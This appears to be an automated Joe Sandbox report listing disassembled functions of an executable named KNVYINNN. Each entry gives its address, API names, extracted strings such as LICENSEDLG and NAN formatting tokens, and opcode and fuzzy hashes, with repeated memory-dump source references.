                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID: 0$|%}
                                                                                                                                                                    • API String ID: 3215553584-773472915
                                                                                                                                                                    • Opcode ID: 912139878c6fa971410ca4ed88f54829f533ac8cb18e91c520a138b7211dfeae
                                                                                                                                                                    • Instruction ID: 386f5b9058cf8afc5e9511fc7a2f126914f85ff80b46a933357e70b2237afbff
                                                                                                                                                                    • Opcode Fuzzy Hash: 912139878c6fa971410ca4ed88f54829f533ac8cb18e91c520a138b7211dfeae
                                                                                                                                                                    • Instruction Fuzzy Hash: AF812713A1814242EF6CAB1D808067DA790EF63B4DFE49531DF098769DCFAEE806C720
                                                                                                                                                                    Function 00007FF7B1DF3904 Relevance: 2.6, Strings: 2, Instructions: 139COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: @$|%}
                                                                                                                                                                    • API String ID: 0-3296063958
                                                                                                                                                                    • Opcode ID: 5e7f2aa48a949b7a90d1de097939cfba190d190f8aeb13b7fd9410243dcdf918
                                                                                                                                                                    • Instruction ID: 3db93f24a8665993ac3e9434e3461df506e62c73b06d9dbd6ae6f42aa46dbc09
                                                                                                                                                                    • Opcode Fuzzy Hash: 5e7f2aa48a949b7a90d1de097939cfba190d190f8aeb13b7fd9410243dcdf918
                                                                                                                                                                    • Instruction Fuzzy Hash: C541D362714A4485EB08EF2AD8152E9B3A1E759FD8B8D9037DF0D87758DE7CD685C300
                                                                                                                                                                    Function 00007FF7B1DEF970 Relevance: 1.4, Strings: 1, Instructions: 199COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID: 0
                                                                                                                                                                    • API String ID: 3215553584-4108050209
                                                                                                                                                                    • Opcode ID: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
                                                                                                                                                                    • Instruction ID: a986689bfe1162c83794007febddce1294ba7e628094b56b3470cbbaabef36f9
                                                                                                                                                                    • Opcode Fuzzy Hash: db1fee231e5625b661d99c0bb1e1601d32928d345e8b8bd10099f265d6b394a5
                                                                                                                                                                    • Instruction Fuzzy Hash: F771E623A0C28246FF6C6B1C404427EE7919B6374DF948935CF488B69ECEEDE9458761
                                                                                                                                                                    Function 00007FF7B1DD6B78 Relevance: 1.4, Strings: 1, Instructions: 181COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID: |%}
                                                                                                                                                                    • API String ID: 0-1550162156
                                                                                                                                                                    • Opcode ID: 6b07ee0b4ec0af2f3915c290a0138f6ffdf3acd5c0ec70ff0ce9c647749d8949
                                                                                                                                                                    • Instruction ID: 1b6791f7e496372ab78dd0e4c03392be5839fbe119343a12d6203b63657f0786
                                                                                                                                                                    • Opcode Fuzzy Hash: 6b07ee0b4ec0af2f3915c290a0138f6ffdf3acd5c0ec70ff0ce9c647749d8949
                                                                                                                                                                    • Instruction Fuzzy Hash: DC611422B181D149EB119F7C86004FDBFA1E72B7887858032CF9A5764ADA78E545CBA0
                                                                                                                                                                    Function 00007FF7B1DF7E40 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: HeapProcess
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID: 54951025-0
                                                                                                                                                                    • Opcode ID: 8232ad290f572eeb8545b21b4ce46f5df49fcb224dc725a7f454a6e6d15805dc
                                                                                                                                                                    • Instruction ID: 48ed751859d2f44ea7e9301feeed4e58d9fb03116f8468dad7246eb1ee81bdf1
                                                                                                                                                                    • Opcode Fuzzy Hash: 8232ad290f572eeb8545b21b4ce46f5df49fcb224dc725a7f454a6e6d15805dc
                                                                                                                                                                    • Instruction Fuzzy Hash: 2BB09228F07A06C6EB083B2A6CC2218A3A46F69709FDA0038C64D41328EE6C21F56720
                                                                                                                                                                    Function 00007FF7B1DD7288 Relevance: .6, Instructions: 587COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: 2c36c05fb182e890d26300f72d8da24ce40aefd90e869f9e6c6d140536c2694b
                                                                                                                                                                    • Instruction ID: 7495a7f88356b62b0c1666dbc7c2c458476e01897b2cee7ba4ec1d241fd14f5e
                                                                                                                                                                    • Opcode Fuzzy Hash: 2c36c05fb182e890d26300f72d8da24ce40aefd90e869f9e6c6d140536c2694b
                                                                                                                                                                    • Instruction Fuzzy Hash: 44220973B246508BD728CF15C89AE5E3766F799748B4B8228DF0ACB789DB38D505CB40
                                                                                                                                                                    Function 00007FF7B1DD6548 Relevance: .3, Instructions: 260COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: e28d09e7446c0214a07814a3c157f1eb60e4639b9a148b3052cddf11ad27c139
                                                                                                                                                                    • Instruction ID: 94d19b56fa93e6aeb9b4e3aeb5cb1fb2599778ef7ac25cc90092378139e070e3
                                                                                                                                                                    • Opcode Fuzzy Hash: e28d09e7446c0214a07814a3c157f1eb60e4639b9a148b3052cddf11ad27c139
                                                                                                                                                                    • Instruction Fuzzy Hash: E2D1AFA2A285E08FE312CB7998184FD7FB1E35E34DB898161DFD55774AC52DE182CB20
                                                                                                                                                                    Function 00007FF7B1DFC9C0 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: fa9fe3593e5d85e5d3d67f80cd6bb251b64deaca733d4919b9ff96fd9d22d551
                                                                                                                                                                    • Instruction ID: 0761e29882a2c894466a96876db47d565b3138e59b6beef4bfded261c38c3a75
                                                                                                                                                                    • Opcode Fuzzy Hash: fa9fe3593e5d85e5d3d67f80cd6bb251b64deaca733d4919b9ff96fd9d22d551
                                                                                                                                                                    • Instruction Fuzzy Hash: 3DF04F71B286A58ADBA59F7DA812629B7A0E718384F80803DD68983A48D67C95608F24
                                                                                                                                                                    Function 00007FF7B1DEA59C Relevance: .0, Instructions: 2COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID:
                                                                                                                                                                    • String ID:
                                                                                                                                                                    • API String ID:
                                                                                                                                                                    • Opcode ID: bf2b8e7a01adefbc5201764513c60e95fdb2a577ab83757fee6a3235b1533785
                                                                                                                                                                    • Instruction ID: 1e824dd5592b4094784b72a5f806b58f98ae73b64d3bc34aafef159c5d26852b
                                                                                                                                                                    • Opcode Fuzzy Hash: bf2b8e7a01adefbc5201764513c60e95fdb2a577ab83757fee6a3235b1533785
                                                                                                                                                                    • Instruction Fuzzy Hash: 55A00122908942D0EB58AB08A859020A361FB6230EB864836E20D810ADAFACA5008620
                                                                                                                                                                    Function 00007FF7B1DE2D58 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 110memoryCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: wcscat$Global$AllocByteCharCreateMultiStreamWidewcscpy
                                                                                                                                                                    • String ID: $</html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
                                                                                                                                                                    • API String ID: 3314394749-1507786326
                                                                                                                                                                    • Opcode ID: 2698b3dddb09b9656c58fd86b08cfb4aff8b549f76654a1400118cdc507e26a0
                                                                                                                                                                    • Instruction ID: 94e57ba2f1b59e3d8ae58814301c219b7b6fe2ca7f1a7f433f5f330d890babdb
                                                                                                                                                                    • Opcode Fuzzy Hash: 2698b3dddb09b9656c58fd86b08cfb4aff8b549f76654a1400118cdc507e26a0
                                                                                                                                                                    • Instruction Fuzzy Hash: BF416362A08B4281FF18FB2A9450379A761ABAABC8F848135DF0D0779DDFBCD505C310
                                                                                                                                                                    Function 00007FF7B1DF5574 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 117COMMONLIBRARYCODE
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: _invalid_parameter_noinfo
                                                                                                                                                                    • String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)$|%}
                                                                                                                                                                    • API String ID: 3215553584-2344884691
                                                                                                                                                                    • Opcode ID: 6a1ad2e58786f0e7ca89e2eb6732b0a49c6d031e39be519a2f09551dcc4e27ff
                                                                                                                                                                    • Instruction ID: b65321610bd01146655c0fe4a2a7048ade0a5b7a68205d9a68f1cf5d242bc1f3
                                                                                                                                                                    • Opcode Fuzzy Hash: 6a1ad2e58786f0e7ca89e2eb6732b0a49c6d031e39be519a2f09551dcc4e27ff
                                                                                                                                                                    • Instruction Fuzzy Hash: 4441AC32A09B4189EB05DF28E8417AA73E5EB26398F80453AEF5C07B98DE7CD165C350
                                                                                                                                                                    Function 00007FF7B1DE5410 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 96COMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: ItemTextWindow
                                                                                                                                                                    • String ID: LICENSEDLG
                                                                                                                                                                    • API String ID: 2478532303-2177901306
                                                                                                                                                                    • Opcode ID: 21c40f5d8b3ff8e24d5fd0194e9b7ba73f45cd3a64917d9807e3846954a034c0
                                                                                                                                                                    • Instruction ID: 2577d85f60d47395d5d1fbed134fb6190384fd28f1246e3415cfa3f3c0d338af
                                                                                                                                                                    • Opcode Fuzzy Hash: 21c40f5d8b3ff8e24d5fd0194e9b7ba73f45cd3a64917d9807e3846954a034c0
                                                                                                                                                                    • Instruction Fuzzy Hash: 6A419226B0864282FF54BB69A81077DA391AFA7FCAF948035DF4D0775CCEBCA5018320
                                                                                                                                                                    Function 00007FF7B1DE7ADC Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 87windowCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Window$MessageObjectSend$ClassDeleteLongName
                                                                                                                                                                    • String ID: STATIC$|%}
                                                                                                                                                                    • API String ID: 2845197485-2872870934
                                                                                                                                                                    • Opcode ID: f8ad4e84e76bd7bc7c90a45ee01ac8cc111892bf57dbb59cacdf8a720e99ab2d
                                                                                                                                                                    • Instruction ID: 2e5f71a9bf75a9a4ce00295c9c8f97a9149172dbf357968e403ffc8f67eac318
                                                                                                                                                                    • Opcode Fuzzy Hash: f8ad4e84e76bd7bc7c90a45ee01ac8cc111892bf57dbb59cacdf8a720e99ab2d
                                                                                                                                                                    • Instruction Fuzzy Hash: DC31A322A0864246FF54BB29A4547BDA3A1FB96BCAF904030DF4D0775DDEBCE5428760
                                                                                                                                                                    Function 00007FF7B1DE4690 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 67timeCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E44000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858717562.00007FF7B1E45000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                    • Snapshot File: hcaresult_3_2_7ff7b1dd0000_KNVYINNN.jbxd
                                                                                                                                                                    Similarity
                                                                                                                                                                    • API ID: Time$System$File$Format$DateLocalSpecificswprintf
                                                                                                                                                                    • String ID: %s %s$2$|%}
                                                                                                                                                                    • API String ID: 1692029381-2292775343
                                                                                                                                                                    • Opcode ID: 91f1f932358495cbb759f9c4883d8a3c9a8369528f9af7063e38f103b19cdff5
                                                                                                                                                                    • Instruction ID: 99045ca5c3064b7b1376a7c231a226650076ce905582d308a79ab8b8ecbe4427
                                                                                                                                                                    • Opcode Fuzzy Hash: 91f1f932358495cbb759f9c4883d8a3c9a8369528f9af7063e38f103b19cdff5
                                                                                                                                                                    • Instruction Fuzzy Hash: 6B21CA73608A4195EB109F65F8006DAB361FB9979CF811136EB4D03A6CDF7CC245C750
                                                                                                                                                                    Function 00007FF7B1DD7098 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON
                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                    APIs
                                                                                                                                                                    Strings
                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                    • Source File: 00000003.00000002.1858592332.00007FF7B1DD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF7B1DD0000, based on PE: true
                                                                                                                                                                    • Associated: 00000003.00000002.1858574857.00007FF7B1DD0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858629311.00007FF7B1DFE000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E0E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                    • Associated: 00000003.00000002.1858655230.00007FF7B1E15000.00000004.00000001.01000000.00000009.sdmpDownload File
